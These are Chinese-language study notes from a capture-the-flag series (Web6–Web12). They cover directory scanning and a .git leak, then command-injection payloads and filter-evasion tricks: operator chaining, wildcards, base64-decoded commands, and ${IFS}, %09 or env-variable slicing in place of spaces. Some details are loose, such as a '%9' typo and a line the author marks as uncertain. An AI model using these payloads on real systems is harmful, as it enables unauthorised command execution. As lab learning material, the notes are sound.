声明:
仅作为个人学习使用,如果你发现了错误或者有优化建议,欢迎你联系我。
Web6
一般进入一个网站 先考虑信息泄露的几个方向
sudo root
这里先用dirsearch扫目录
dirsearch -u url -e*
扫到了robots.txt 进去看一眼
继续访问 (记得把*去除)
显示403 说明该目录有东西
尝试访问/.git/ (注意最后的 / 不要遗漏) 依旧显示403 大概率git泄露
使用git脚本
访问/admin/secret.php
bp抓包 字典爆破 得到flag
Web7
ls显示目录出现flag.php index.php
输入dir=&&tac flag.php时,整个system函数调用会变成:
system("ls &&tac flag.php")
先执行ls 成功执行后执行tac flag.php(system执行在linux的shell中)
Web8 通配符绕过
多了个无回显 其他与上题同理" >/dev/null 2>&1"
ls显示目录出现flag.php index.php
输入cmd=tac fl?g.php||
得到 system("cmd=tac fl?g.php|| >/dev/null 2>&1) ||前的命令不受影响,||后的不回显
执行tac flag.php ||后面不执行
Web9 通配符绕过
过滤 flag & ; ( /i 说明以上过滤不区分大小写)
逻辑符 & ; 都被过滤,只能使用 ||
ls显示目录出现flag.php index.php
输入cmd=tac fla?.php||
Web10 Base64编码解码绕过
过滤 flag & ; cat tac nl more od 不区分以上大小写
ta? ca? 无法用通配符补齐tac cat 所以使用编码解码绕过过滤
ls显示目录出现flag.php index.php
tac flag.php base64编码 →dGFjIGZsYWcucGhw
句1 `echo 'dGFjIGZsYWcucGhw'|base64 -d` → 即输出 tac flag.php
句2 ls(写什么不重要,反正也不执行)
使用||组合
cmd=`echo 'dGFjIGZsYWcucGhw' |base64 -d`||ls
1
若 ; 未被过滤情况下
使用拼接绕过
cmd=a='t';b='ac';c='fla';d='g.php';$a$b ${c}${d} (我不确定)
Web11 符号过滤-空格过滤
发现 空格 被过滤
ls显示目录出现flag.php index.php
输入cmd=tac${IFS}fla?.php
输入cmd=tac%09fla?.php
Web12 符号过滤-空格过滤-字符串截取
过滤 flag & ; 空格 IFS <> x09
ls显示目录出现flag.php index.php
输入cmd=env
寻找 = 与 空格 实现字符串截取替代空格
找到以下信息
PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with
= 右侧 空格索引为12
空格替换→索引12,输出1个字符,即
${PHP_EXTRA_CONFIGURE_ARGS:12:1} 代替 空格
tac flag.php → tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fla?.php
输入cmd=tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fla?.php
End
逻辑符
|| | 前面执行成功,后面不执行 |
; | 分成两段 |
&& | 前面执行成功才能执行后面 避免冲突,使用url编码→%26%26 |
如何过滤空格
读文件时用 <> 过滤 | tac<>flag.php |
${IFS} $IFS$9 代替空格 bash下用{cmd,args} | tac${IFS}flag.php |
控制字符代替空格 %09 %0b %0c | tac%9flag.php |
字符串截取 | ctfshow=aabbcc ${ctfshow:2} #输出bbcc ${ctfshow:2:1} #输出b |
不仅局限于空格 只要是符号过滤
比赛中可以通过bp fuzz %00-%128 爆破出哪些可以代替过滤符号